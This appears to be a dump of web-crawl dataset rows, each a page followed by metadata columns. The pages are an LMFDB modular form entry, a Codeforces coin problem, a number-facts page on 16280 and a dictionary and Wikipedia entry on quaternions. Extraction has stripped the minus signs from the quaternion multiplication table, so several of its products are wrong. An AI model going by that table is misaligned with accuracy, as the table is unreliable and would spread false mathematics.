Note that this Kc has no units. | 241 | 764 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.5625 | 3 | CC-MAIN-2017-22 | latest | en | 0.891444 |
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4314 posts | 577 | 1,934 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.71875 | 3 | CC-MAIN-2020-50 | latest | en | 0.839262 |
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Label 17.10.a.a Level $17$ Weight $10$ Character orbit 17.a Self dual yes Analytic conductor $8.756$ Analytic rank $1$ Dimension $5$ CM no Inner twists $1$
# Related objects
## Newspace parameters
Level: $$N$$ $$=$$ $$17$$ Weight: $$k$$ $$=$$ $$10$$ Character orbit: $$[\chi]$$ $$=$$ 17.a (trivial)
## Newform invariants
Self dual: yes Analytic conductor: $$8.75560921479$$ Analytic rank: $$1$$ Dimension: $$5$$ Coefficient field: $$\mathbb{Q}[x]/(x^{5} - \cdots)$$ Defining polynomial: $$x^{5} - 2 x^{4} - 1596 x^{3} + 5754 x^{2} + 488987 x - 2711704$$ Coefficient ring: $$\Z[a_1, a_2, a_3]$$ Coefficient ring index: $$2^{2}\cdot 3$$ Twist minimal: yes Fricke sign: $$1$$ Sato-Tate group: $\mathrm{SU}(2)$
## $q$-expansion
Coefficients of the $$q$$-expansion are expressed in terms of a basis $$1,\beta_1,\beta_2,\beta_3,\beta_4$$ for the coefficient ring described below. We also show the integral $$q$$-expansion of the trace form.
$$f(q)$$ $$=$$ $$q + ( -7 + \beta_{1} ) q^{2} + ( -48 + 2 \beta_{1} + \beta_{4} ) q^{3} + ( 177 - 17 \beta_{1} + \beta_{3} - 3 \beta_{4} ) q^{4} + ( 309 - 26 \beta_{1} + \beta_{2} - 6 \beta_{3} - 6 \beta_{4} ) q^{5} + ( 1574 - 154 \beta_{1} - 8 \beta_{2} + 4 \beta_{3} - 12 \beta_{4} ) q^{6} + ( -2625 - 44 \beta_{1} + 13 \beta_{2} + 12 \beta_{3} + 13 \beta_{4} ) q^{7} + ( -8547 + 179 \beta_{1} + 28 \beta_{2} - 9 \beta_{3} + 67 \beta_{4} ) q^{8} + ( 2404 - 606 \beta_{1} - 73 \beta_{2} + 50 \beta_{3} - 14 \beta_{4} ) q^{9} +O(q^{10})$$ $$q + ( -7 + \beta_{1} ) q^{2} + ( -48 + 2 \beta_{1} + \beta_{4} ) q^{3} + ( 177 - 17 \beta_{1} + \beta_{3} - 3 \beta_{4} ) q^{4} + ( 309 - 26 \beta_{1} + \beta_{2} - 6 \beta_{3} - 6 \beta_{4} ) q^{5} + ( 1574 - 154 \beta_{1} - 8 \beta_{2} + 4 \beta_{3} - 12 \beta_{4} ) q^{6} + ( -2625 - 44 \beta_{1} + 13 \beta_{2} + 12 \beta_{3} + 13 \beta_{4} ) q^{7} + ( -8547 + 179 \beta_{1} + 28 \beta_{2} - 9 \beta_{3} + 67 \beta_{4} ) q^{8} + ( 2404 - 606 \beta_{1} - 73 \beta_{2} + 50 \beta_{3} - 14 \beta_{4} ) q^{9} + ( -18048 + 560 \beta_{1} - 104 \beta_{3} + 104 \beta_{4} ) q^{10} + ( -13582 - 138 \beta_{1} - 54 \beta_{2} + 48 \beta_{3} - 139 \beta_{4} ) q^{11} + ( -82450 + 3538 \beta_{1} + 304 \beta_{2} - 266 \beta_{3} + 190 \beta_{4} ) q^{12} + ( -31799 - 150 \beta_{1} - 37 \beta_{2} + 198 \beta_{3} - 546 \beta_{4} ) q^{13} + ( -16212 - 2388 \beta_{1} - 368 \beta_{2} + 384 \beta_{3} - 256 \beta_{4} ) q^{14} + ( -139040 + 4156 \beta_{1} + 548 \beta_{2} + 56 \beta_{3} - 354 \beta_{4} ) q^{15} + ( 73093 - 8421 \beta_{1} - 1244 \beta_{2} + 179 \beta_{3} - \beta_{4} ) q^{16} -83521 q^{17} + ( -387255 + 14625 \beta_{1} + 2064 \beta_{2} - 1248 \beta_{3} + 3408 \beta_{4} ) q^{18} + ( -75406 + 4968 \beta_{1} + 234 \beta_{2} - 1832 \beta_{3} + 858 \beta_{4} ) q^{19} + ( 336512 - 28224 \beta_{1} - 1760 \beta_{2} + 2384 \beta_{3} + 976 \beta_{4} ) q^{20} + ( 361375 - 11086 \beta_{1} - 685 \beta_{2} - 754 \beta_{3} - 3310 \beta_{4} ) q^{21} + ( 23518 + 4366 \beta_{1} + 2600 \beta_{2} - 716 \beta_{3} + 2340 \beta_{4} ) q^{22} + ( 329681 - 6084 \beta_{1} + 167 \beta_{2} + 4900 \beta_{3} - 2325 \beta_{4} ) q^{23} + ( 1965510 - 80934 \beta_{1} - 5784 \beta_{2} + 3618 \beta_{3} - 11766 \beta_{4} ) q^{24} + ( 642933 + 31460 \beta_{1} - 2518 \beta_{2} - 4932 \beta_{3} - 1648 \beta_{4} ) q^{25} + ( 134226 + 34018 \beta_{1} + 6048 \beta_{2} + 864 \beta_{3} + 4144 \beta_{4} ) q^{26} + ( -643184 + 117456 \beta_{1} + 6956 \beta_{2} - 5152 \beta_{3} + 472 \beta_{4} ) q^{27} + ( 6524 + 88548 \beta_{1} + 5760 \beta_{2} - 10292 \beta_{3} + 9372 \beta_{4} ) q^{28} + ( 721211 + 24298 \beta_{1} - 8977 \beta_{2} + 2494 \beta_{3} + 5182 \beta_{4} ) q^{29} + ( 3462160 - 150272 \beta_{1} - 10096 \beta_{2} + 14096 \beta_{3} - 22512 \beta_{4} ) q^{30} + ( -1493895 + 87056 \beta_{1} - 10641 \beta_{2} + 11180 \beta_{3} + 34533 \beta_{4} ) q^{31} + ( -1145387 + 92331 \beta_{1} + 16244 \beta_{2} - 23701 \beta_{3} + 17975 \beta_{4} ) q^{32} + ( -2290557 + 72690 \beta_{1} + 9963 \beta_{2} - 8766 \beta_{3} - 7002 \beta_{4} ) q^{33} + ( 584647 - 83521 \beta_{1} ) q^{34} + ( -5284272 - 77964 \beta_{1} + 9164 \beta_{2} + 41232 \beta_{3} + 38410 \beta_{4} ) q^{35} + ( 10198225 - 642225 \beta_{1} - 44416 \beta_{2} + 15521 \beta_{3} - 100067 \beta_{4} ) q^{36} + ( -6287685 + 22746 \beta_{1} + 15899 \beta_{2} - 5938 \beta_{3} - 12574 \beta_{4} ) q^{37} + ( 3848092 - 358532 \beta_{1} - 19808 \beta_{2} - 14752 \beta_{3} - 21536 \beta_{4} ) q^{38} + ( -8522696 + 135080 \beta_{1} + 32468 \beta_{2} - 37048 \beta_{3} - 36940 \beta_{4} ) q^{39} + ( -10976352 + 468960 \beta_{1} + 43968 \beta_{2} + 28672 \beta_{3} + 59520 \beta_{4} ) q^{40} + ( -1421988 - 387124 \beta_{1} - 17594 \beta_{2} - 65172 \beta_{3} - 41192 \beta_{4} ) q^{41} + ( -9158968 + 698216 \beta_{1} + 39904 \beta_{2} - 40592 \beta_{3} + 69696 \beta_{4} ) q^{42} + ( -11492294 + 231296 \beta_{1} - 64242 \beta_{2} + 13184 \beta_{3} + 123526 \beta_{4} ) q^{43} + ( 8739126 - 235702 \beta_{1} - 56336 \beta_{2} + 21246 \beta_{3} - 11738 \beta_{4} ) q^{44} + ( 2788251 - 697662 \beta_{1} - 43881 \beta_{2} + 104862 \beta_{3} - 146550 \beta_{4} ) q^{45} + ( -6834352 + 1010368 \beta_{1} + 34192 \beta_{2} + 60872 \beta_{3} + 18728 \beta_{4} ) q^{46} + ( -3131634 - 723308 \beta_{1} + 2726 \beta_{2} + 102088 \beta_{3} - 22048 \beta_{4} ) q^{47} + ( -21467242 + 2338474 \beta_{1} + 91768 \beta_{2} - 21734 \beta_{3} + 336130 \beta_{4} ) q^{48} + ( -2354982 + 213486 \beta_{1} + 16821 \beta_{2} - 209650 \beta_{3} - 102102 \beta_{4} ) q^{49} + ( 17202051 + 68571 \beta_{1} + 53888 \beta_{2} - 86208 \beta_{3} - 19232 \beta_{4} ) q^{50} + ( 4009008 - 167042 \beta_{1} - 83521 \beta_{4} ) q^{51} + ( 34854146 - 465666 \beta_{1} - 155904 \beta_{2} + 61890 \beta_{3} + 17850 \beta_{4} ) q^{52} + ( -16615966 + 152616 \beta_{1} + 258816 \beta_{2} - 164784 \beta_{3} + 55220 \beta_{4} ) q^{53} + ( 78104580 - 2364012 \beta_{1} - 191328 \beta_{2} + 171480 \beta_{3} - 497928 \beta_{4} ) q^{54} + ( 1354508 - 394556 \beta_{1} - 121312 \beta_{2} + 129312 \beta_{3} + 110278 \beta_{4} ) q^{55} + ( 64080268 - 1399244 \beta_{1} - 65968 \beta_{2} - 129724 \beta_{3} - 296940 \beta_{4} ) q^{56} + ( 27808062 - 1439252 \beta_{1} - 87834 \beta_{2} + 183132 \beta_{3} - 211960 \beta_{4} ) q^{57} + ( 12857952 + 327856 \beta_{1} + 183968 \beta_{2} - 92008 \beta_{3} + 88520 \beta_{4} ) q^{58} + ( -7188478 - 1081736 \beta_{1} - 101866 \beta_{2} + 28696 \beta_{3} + 838738 \beta_{4} ) q^{59} + ( -46939264 + 6076160 \beta_{1} + 198208 \beta_{2} - 208352 \beta_{3} + 961056 \beta_{4} ) q^{60} + ( -15322337 - 601494 \beta_{1} + 252183 \beta_{2} + 190702 \beta_{3} - 679618 \beta_{4} ) q^{61} + ( 66638204 - 4277044 \beta_{1} + 23840 \beta_{2} + 121104 \beta_{3} - 256624 \beta_{4} ) q^{62} + ( -39986065 + 4362816 \beta_{1} + 37441 \beta_{2} - 351572 \beta_{3} + 85811 \beta_{4} ) q^{63} + ( 26922421 - 1487477 \beta_{1} + 8468 \beta_{2} - 2789 \beta_{3} - 694297 \beta_{4} ) q^{64} + ( -7317776 - 2449816 \beta_{1} - 380232 \beta_{2} + 393496 \beta_{3} + 683460 \beta_{4} ) q^{65} + ( 60821316 - 3258828 \beta_{1} - 218160 \beta_{2} + 115296 \beta_{3} - 377712 \beta_{4} ) q^{66} + ( -61385498 + 1506284 \beta_{1} - 104058 \beta_{2} - 346368 \beta_{3} - 351296 \beta_{4} ) q^{67} + ( -14783217 + 1419857 \beta_{1} - 83521 \beta_{3} + 250563 \beta_{4} ) q^{68} + ( -67446455 + 2471206 \beta_{1} + 163157 \beta_{2} - 478126 \beta_{3} + 523578 \beta_{4} ) q^{69} + ( -23188592 - 4344416 \beta_{1} - 362288 \beta_{2} + 741056 \beta_{3} - 280640 \beta_{4} ) q^{70} + ( -96618793 + 3613408 \beta_{1} + 572997 \beta_{2} - 81388 \beta_{3} - 671613 \beta_{4} ) q^{71} + ( -267640899 + 19472787 \beta_{1} + 871836 \beta_{2} - 785577 \beta_{3} + 1728291 \beta_{4} ) q^{72} + ( -58202062 - 413264 \beta_{1} - 551952 \beta_{2} + 652200 \beta_{3} - 1040600 \beta_{4} ) q^{73} + ( 54751612 - 6087540 \beta_{1} - 304736 \beta_{2} + 200648 \beta_{3} - 330696 \beta_{4} ) q^{74} + ( -30423556 - 1292378 \beta_{1} - 92588 \beta_{2} + 462088 \beta_{3} + 542743 \beta_{4} ) q^{75} + ( -208411364 + 5651492 \beta_{1} + 468864 \beta_{2} - 26692 \beta_{3} + 1230796 \beta_{4} ) q^{76} + ( -30391837 + 4369154 \beta_{1} - 318833 \beta_{2} - 241802 \beta_{3} + 84822 \beta_{4} ) q^{77} + ( 142222076 - 10174996 \beta_{1} - 631904 \beta_{2} + 126952 \beta_{3} - 823800 \beta_{4} ) q^{78} + ( -164909903 - 468556 \beta_{1} + 671111 \beta_{2} - 1041436 \beta_{3} + 399047 \beta_{4} ) q^{79} + ( 183928544 - 4263904 \beta_{1} - 515584 \beta_{2} + 560224 \beta_{3} - 3288352 \beta_{4} ) q^{80} + ( 183259756 - 12049086 \beta_{1} + 346643 \beta_{2} - 262678 \beta_{3} - 2418818 \beta_{4} ) q^{81} + ( -221363594 + 545318 \beta_{1} + 491104 \beta_{2} - 1698608 \beta_{3} + 1925936 \beta_{4} ) q^{82} + ( 41276982 - 6790888 \beta_{1} + 96290 \beta_{2} + 987152 \beta_{3} + 1443942 \beta_{4} ) q^{83} + ( 315652680 - 20309000 \beta_{1} - 1326912 \beta_{2} + 1373640 \beta_{3} - 1614808 \beta_{4} ) q^{84} + ( -25807989 + 2171546 \beta_{1} - 83521 \beta_{2} + 501126 \beta_{3} + 501126 \beta_{4} ) q^{85} + ( 242346664 - 22716488 \beta_{1} + 606336 \beta_{2} - 493432 \beta_{3} - 48088 \beta_{4} ) q^{86} + ( 29721792 + 4296804 \beta_{1} - 317700 \beta_{2} + 314808 \beta_{3} + 2494482 \beta_{4} ) q^{87} + ( -208194130 + 12204402 \beta_{1} + 199752 \beta_{2} - 609190 \beta_{3} + 776354 \beta_{4} ) q^{88} + ( 66779497 + 20899250 \beta_{1} + 460683 \beta_{2} + 806402 \beta_{3} + 1206630 \beta_{4} ) q^{89} + ( -460075968 + 31781232 \beta_{1} + 2644992 \beta_{2} - 312552 \beta_{3} + 3727944 \beta_{4} ) q^{90} + ( 34422318 + 12123668 \beta_{1} - 679922 \beta_{2} - 1247592 \beta_{3} + 374208 \beta_{4} ) q^{91} + ( 505380000 - 10506368 \beta_{1} - 812448 \beta_{2} + 6688 \beta_{3} - 2827040 \beta_{4} ) q^{92} + ( 703328359 - 13352182 \beta_{1} - 2485549 \beta_{2} + 1206470 \beta_{3} + 2059406 \beta_{4} ) q^{93} + ( -455043760 + 14752608 \beta_{1} + 519312 \beta_{2} + 710896 \beta_{3} + 2038064 \beta_{4} ) q^{94} + ( 290829908 + 24844352 \beta_{1} + 687740 \beta_{2} - 2235320 \beta_{3} - 886660 \beta_{4} ) q^{95} + ( 599610166 - 35015990 \beta_{1} - 2017000 \beta_{2} + 2505866 \beta_{3} - 4983438 \beta_{4} ) q^{96} + ( 125658398 + 33525784 \beta_{1} + 236504 \beta_{2} - 1535904 \beta_{3} - 5543956 \beta_{4} ) q^{97} + ( 180869073 - 13890359 \beta_{1} - 425488 \beta_{2} - 2623040 \beta_{3} + 21392 \beta_{4} ) q^{98} + ( 413521590 - 19380798 \beta_{1} + 707514 \beta_{2} - 516216 \beta_{3} - 2435865 \beta_{4} ) q^{99} +O(q^{100})$$ $$\operatorname{Tr}(f)(q)$$ $$=$$ $$5q - 33q^{2} - 236q^{3} + 853q^{4} + 1480q^{5} + 7578q^{6} - 13202q^{7} - 42423q^{8} + 10981q^{9} + O(q^{10})$$ $$5q - 33q^{2} - 236q^{3} + 853q^{4} + 1480q^{5} + 7578q^{6} - 13202q^{7} - 42423q^{8} + 10981q^{9} - 89328q^{10} - 68036q^{11} - 406010q^{12} - 158862q^{13} - 84700q^{14} - 687324q^{15} + 350225q^{16} - 417605q^{17} - 1911585q^{18} - 370992q^{19} + 1632640q^{20} + 1783880q^{21} + 122290q^{22} + 1645870q^{23} + 9678702q^{24} + 3270239q^{25} + 734846q^{26} - 2998268q^{27} + 183372q^{28} + 3668616q^{29} + 17048544q^{30} - 7262362q^{31} - 5605919q^{32} - 11334900q^{33} + 2756193q^{34} - 26503988q^{35} + 49782133q^{36} - 31420708q^{37} + 18513700q^{38} - 42449884q^{39} - 53930464q^{40} - 7996938q^{41} - 44519496q^{42} - 56908268q^{43} + 43323054q^{44} + 12799536q^{45} - 32063472q^{46} - 16903336q^{47} - 102794498q^{48} - 11784059q^{49} + 85921093q^{50} + 19710956q^{51} + 173619082q^{52} - 83362982q^{53} + 386329164q^{54} + 6363364q^{55} + 317409372q^{56} + 136615904q^{57} + 64577488q^{58} - 37946604q^{59} - 223158912q^{60} - 77685452q^{61} + 324855300q^{62} - 191945278q^{63} + 131623105q^{64} - 40321288q^{65} + 298037676q^{66} - 304503600q^{67} - 71243413q^{68} - 333409272q^{69} - 122787392q^{70} - 476602922q^{71} - 1301701911q^{72} - 289980486q^{73} + 262289012q^{74} - 153685772q^{75} - 1031276084q^{76} - 143385648q^{77} + 691646196q^{78} - 828240610q^{79} + 912750944q^{80} + 891328609q^{81} - 1109615654q^{82} + 194681148q^{83} + 1541719592q^{84} - 123611080q^{85} + 1164707144q^{86} + 158149884q^{87} - 1017979978q^{88} + 376848106q^{89} - 2240087472q^{90} + 194543664q^{91} + 2506713088q^{92} + 3494835920q^{93} - 2244811104q^{94} + 1498679864q^{95} + 2935047582q^{96} + 692035246q^{97} + 871744055q^{98} + 2027106408q^{99} + O(q^{100})$$
Basis of coefficient ring in terms of a root $$\nu$$ of $$x^{5} - 2 x^{4} - 1596 x^{3} + 5754 x^{2} + 488987 x - 2711704$$:
$$\beta_{0}$$ $$=$$ $$1$$ $$\beta_{1}$$ $$=$$ $$\nu$$ $$\beta_{2}$$ $$=$$ $$($$$$-5 \nu^{4} + 207 \nu^{3} + 6301 \nu^{2} - 209023 \nu - 509736$$$$)/8096$$ $$\beta_{3}$$ $$=$$ $$($$$$21 \nu^{4} + 345 \nu^{3} - 24845 \nu^{2} - 323145 \nu + 3450824$$$$)/16192$$ $$\beta_{4}$$ $$=$$ $$($$$$7 \nu^{4} + 115 \nu^{3} - 13679 \nu^{2} - 123907 \nu + 4604568$$$$)/16192$$
$$1$$ $$=$$ $$\beta_0$$ $$\nu$$ $$=$$ $$\beta_{1}$$ $$\nu^{2}$$ $$=$$ $$-3 \beta_{4} + \beta_{3} - 3 \beta_{1} + 640$$ $$\nu^{3}$$ $$=$$ $$4 \beta_{4} + 12 \beta_{3} + 28 \beta_{2} + 993 \beta_{1} - 1932$$ $$\nu^{4}$$ $$=$$ $$-3615 \beta_{4} + 1757 \beta_{3} - 460 \beta_{2} - 4475 \beta_{1} + 624596$$
## Embeddings
For each embedding $$\iota_m$$ of the coefficient field, the values $$\iota_m(a_n)$$ are shown below.
For more information on an embedded modular form you can click on its label.
Label $$\iota_m(\nu)$$ $$a_{2}$$ $$a_{3}$$ $$a_{4}$$ $$a_{5}$$ $$a_{6}$$ $$a_{7}$$ $$a_{8}$$ $$a_{9}$$ $$a_{10}$$
1.1
−35.0613 −21.1654 5.77274 18.8209 33.6330
−42.0613 −256.773 1257.15 1407.25 10800.2 −5138.64 −31342.2 46249.6 −59190.7
1.2 −28.1654 −3.02373 281.287 762.851 85.1644 5573.11 6498.11 −19673.9 −21486.0
1.3 −1.22726 177.437 −510.494 −1620.18 −217.762 −1834.42 1254.87 11801.0 1988.39
1.4 11.8209 −67.6654 −372.266 2390.67 −799.867 −11355.8 −10452.8 −15104.4 28259.9
1.5 26.6330 −85.9747 197.318 −1460.58 −2289.77 −446.232 −8380.94 −12291.3 −38899.6
$$n$$: e.g. 2-40 or 990-1000 Embeddings: e.g. 1-3 or 1.5 Significant digits: Format: Complex embeddings Normalized embeddings Satake parameters Satake angles
## Atkin-Lehner signs
$$p$$ Sign
$$17$$ $$1$$
## Inner twists
This newform does not admit any (nontrivial) inner twists.
## Twists
By twisting character orbit
Char Parity Ord Mult Type Twist Min Dim
1.a even 1 1 trivial 17.10.a.a 5
3.b odd 2 1 153.10.a.c 5
4.b odd 2 1 272.10.a.f 5
17.b even 2 1 289.10.a.a 5
By twisted newform orbit
Twist Min Dim Char Parity Ord Mult Type
17.10.a.a 5 1.a even 1 1 trivial
153.10.a.c 5 3.b odd 2 1
272.10.a.f 5 4.b odd 2 1
289.10.a.a 5 17.b even 2 1
## Hecke kernels
This newform subspace can be constructed as the kernel of the linear operator $$T_{2}^{5} + 33 T_{2}^{4} - 1162 T_{2}^{3} - 24920 T_{2}^{2} + 344192 T_{2} + 457728$$ acting on $$S_{10}^{\mathrm{new}}(\Gamma_0(17))$$. | 7,147 | 14,691 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.578125 | 3 | CC-MAIN-2020-45 | latest | en | 0.351317 |
http://codeforces.com/problemset/problem/58/B | 1,653,043,306,000,000,000 | text/html | crawl-data/CC-MAIN-2022-21/segments/1652662531779.10/warc/CC-MAIN-20220520093441-20220520123441-00732.warc.gz | 14,110,088 | 13,331 | B. Coins
time limit per test
2 seconds
memory limit per test
256 megabytes
input
standard input
output
standard output
In Berland a money reform is being prepared. New coins are being introduced. After long economic calculations was decided that the most expensive coin should possess the denomination of exactly n Berland dollars. Also the following restriction has been introduced for comfort: the denomination of each coin should be divisible by the denomination of any cheaper coin. It is known that among all the possible variants the variant with the largest number of new coins will be chosen. Find this variant. Print in the order of decreasing of the coins' denominations.
Input
The first and only line contains an integer n (1 ≤ n ≤ 106) which represents the denomination of the most expensive coin.
Output
Print the denominations of all the coins in the order of decreasing. The number of coins must be the largest possible (with the given denomination n of the most expensive coin). Also, the denomination of every coin must be divisible by the denomination of any cheaper coin. Naturally, the denominations of all the coins should be different. If there are several solutins to that problem, print any of them.
Examples
Input
10
Output
10 5 1
Input
4
Output
4 2 1
Input
3
Output
3 1 | 286 | 1,301 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.796875 | 3 | CC-MAIN-2022-21 | latest | en | 0.900469 |
https://metanumbers.com/16280 | 1,601,053,705,000,000,000 | text/html | crawl-data/CC-MAIN-2020-40/segments/1600400227524.63/warc/CC-MAIN-20200925150904-20200925180904-00574.warc.gz | 509,891,074 | 7,593 | ## 16280
16,280 (sixteen thousand two hundred eighty) is an even five-digits composite number following 16279 and preceding 16281. In scientific notation, it is written as 1.628 × 104. The sum of its digits is 17. It has a total of 6 prime factors and 32 positive divisors. There are 5,760 positive integers (up to 16280) that are relatively prime to 16280.
## Basic properties
• Is Prime? No
• Number parity Even
• Number length 5
• Sum of Digits 17
• Digital Root 8
## Name
Short name 16 thousand 280 sixteen thousand two hundred eighty
## Notation
Scientific notation 1.628 × 104 16.28 × 103
## Prime Factorization of 16280
Prime Factorization 23 × 5 × 11 × 37
Composite number
Distinct Factors Total Factors Radical ω(n) 4 Total number of distinct prime factors Ω(n) 6 Total number of prime factors rad(n) 4070 Product of the distinct prime numbers λ(n) 1 Returns the parity of Ω(n), such that λ(n) = (-1)Ω(n) μ(n) 0 Returns: 1, if n has an even number of prime factors (and is square free) −1, if n has an odd number of prime factors (and is square free) 0, if n has a squared prime factor Λ(n) 0 Returns log(p) if n is a power pk of any prime p (for any k >= 1), else returns 0
The prime factorization of 16,280 is 23 × 5 × 11 × 37. Since it has a total of 6 prime factors, 16,280 is a composite number.
## Divisors of 16280
1, 2, 4, 5, 8, 10, 11, 20, 22, 37, 40, 44, 55, 74, 88, 110, 148, 185, 220, 296, 370, 407, 440, 740, 814, 1480, 1628, 2035, 3256, 4070, 8140, 16280
32 divisors
Even divisors 24 8 4 4
Total Divisors Sum of Divisors Aliquot Sum τ(n) 32 Total number of the positive divisors of n σ(n) 41040 Sum of all the positive divisors of n s(n) 24760 Sum of the proper positive divisors of n A(n) 1282.5 Returns the sum of divisors (σ(n)) divided by the total number of divisors (τ(n)) G(n) 127.593 Returns the nth root of the product of n divisors H(n) 12.694 Returns the total number of divisors (τ(n)) divided by the sum of the reciprocal of each divisors
The number 16,280 can be divided by 32 positive divisors (out of which 24 are even, and 8 are odd). The sum of these divisors (counting 16,280) is 41,040, the average is 128,2.5.
## Other Arithmetic Functions (n = 16280)
1 φ(n) n
Euler Totient Carmichael Lambda Prime Pi φ(n) 5760 Total number of positive integers not greater than n that are coprime to n λ(n) 180 Smallest positive number such that aλ(n) ≡ 1 (mod n) for all a coprime to n π(n) ≈ 1889 Total number of primes less than or equal to n r2(n) 0 The number of ways n can be represented as the sum of 2 squares
There are 5,760 positive integers (less than 16,280) that are coprime with 16,280. And there are approximately 1,889 prime numbers less than or equal to 16,280.
## Divisibility of 16280
m n mod m 2 3 4 5 6 7 8 9 0 2 0 0 2 5 0 8
The number 16,280 is divisible by 2, 4, 5 and 8.
• Abundant
• Polite
• Practical
• Octagonal
## Base conversion (16280)
Base System Value
2 Binary 11111110011000
3 Ternary 211022222
4 Quaternary 3332120
5 Quinary 1010110
6 Senary 203212
8 Octal 37630
10 Decimal 16280
12 Duodecimal 9508
20 Vigesimal 20e0
36 Base36 ck8
## Basic calculations (n = 16280)
### Multiplication
n×i
n×2 32560 48840 65120 81400
### Division
ni
n⁄2 8140 5426.67 4070 3256
### Exponentiation
ni
n2 265038400 4314825152000 70245353474560000 1143594354565836800000
### Nth Root
i√n
2√n 127.593 25.3446 11.2957 6.95554
## 16280 as geometric shapes
### Circle
Diameter 32560 102290 8.32643e+08
### Sphere
Volume 1.80739e+13 3.33057e+09 102290
### Square
Length = n
Perimeter 65120 2.65038e+08 23023.4
### Cube
Length = n
Surface area 1.59023e+09 4.31483e+12 28197.8
### Equilateral Triangle
Length = n
Perimeter 48840 1.14765e+08 14098.9
### Triangular Pyramid
Length = n
Surface area 4.5906e+08 5.08507e+11 13292.6
## Cryptographic Hash Functions
md5 5d08d9a626710f3edb723a812fbc392d d1ccdcf325c93419acfa062e3879829c312bbe5c a1a4b0c316442b879083c61343bcb56ce2233230e64fc4f874ec0f232b2aea68 0ada454728bbfe08556ef723677420672539ded7d0c4762e3578fe5070620a539469399d2daa280208b4c90a0ae9ce2fca588b31e1936d2c9c0875784344facf 9fd70763471af27343892ff51837eafdce4b1efb | 1,512 | 4,168 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.65625 | 4 | CC-MAIN-2020-40 | longest | en | 0.774104 |
http://dictionnaire.sensagent.leparisien.fr/Quaternion/en-en/ | 1,638,837,051,000,000,000 | text/html | crawl-data/CC-MAIN-2021-49/segments/1637964363327.64/warc/CC-MAIN-20211206224536-20211207014536-00408.warc.gz | 18,809,351 | 50,677 | Quaternion : définition de Quaternion et synonymes de Quaternion (anglais)
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# définition - Quaternion
quaternion (n.)
1.the cardinal number that is the sum of three and one
Merriam Webster
QuaternionQua*ter"ni*on (?), n. [L. quaternio, fr. quaterni four each. See Quaternary.]
1. The number four. [Poetic]
2. A set of four parts, things, or person; four things taken collectively; a group of four words, phrases, circumstances, facts, or the like.
Delivered him to four quaternions of soldiers. Acts xii. 4.
Ye elements, the eldest birth
Of Nature's womb, that in quaternion run.
Milton.
The triads and quaternions with which he loaded his sentences. Sir W. Scott.
3. A word of four syllables; a quadrisyllable.
4. (Math.) The quotient of two vectors, or of two directed right lines in space, considered as depending on four geometrical elements, and as expressible by an algebraic symbol of quadrinomial form.
☞ The science or calculus of quaternions is a new mathematical method, in which the conception of a quaternion is unfolded and symbolically expressed, and is applied to various classes of algebraical, geometrical, and physical questions, so as to discover theorems, and to arrive at the solution of problems. Sir W. R. Hamilton.
QuaternionQua*ter"ni*on, v. t. To divide into quaternions, files, or companies. Milton.
## définition (complément)
voir la définition de Wikipedia
Publicité ▼
quaternion (n.)
Publicité ▼
quaternion (n.)
Wikipedia
# Quaternion
Quaternion multiplication
× 1 i j k
1 1 i j k
i i −1 k j
j j k −1 i
k k j i −1
In mathematics, the quaternions are a number system that extends the complex numbers. They were first described by Irish mathematician Sir William Rowan Hamilton in 1843[1][2] and applied to mechanics in three-dimensional space. A feature of quaternions is that the product of two quaternions is noncommutative. Hamilton defined a quaternion as the quotient of two directed lines in a three-dimensional space[3] or equivalently as the quotient of two vectors.[4] Quaternions can also be represented as the sum of a scalar and a vector.
Quaternions find uses in both theoretical and applied mathematics, in particular for calculations involving three-dimensional rotations such as in three-dimensional computer graphics and computer vision. They can be used alongside other methods, such as Euler angles and rotation matrices, or as an alternative to them depending on the application.
In modern mathematical language, quaternions form a four-dimensional associative normed division algebra over the real numbers, and thus also form a domain. In fact, the quaternions were the first noncommutative division algebra to be discovered.[5] The algebra of quaternions is often denoted by H (for Hamilton), or in blackboard bold by $\mathbb{H}$ (Unicode U+210D, ). It can also be given by the Clifford algebra classifications C0,2(R) ≅ C03,0(R). The algebra H holds a special place in analysis since, according to the Frobenius theorem, it is one of only two finite-dimensional division rings containing the real numbers as a proper subring, the other being the complex numbers.
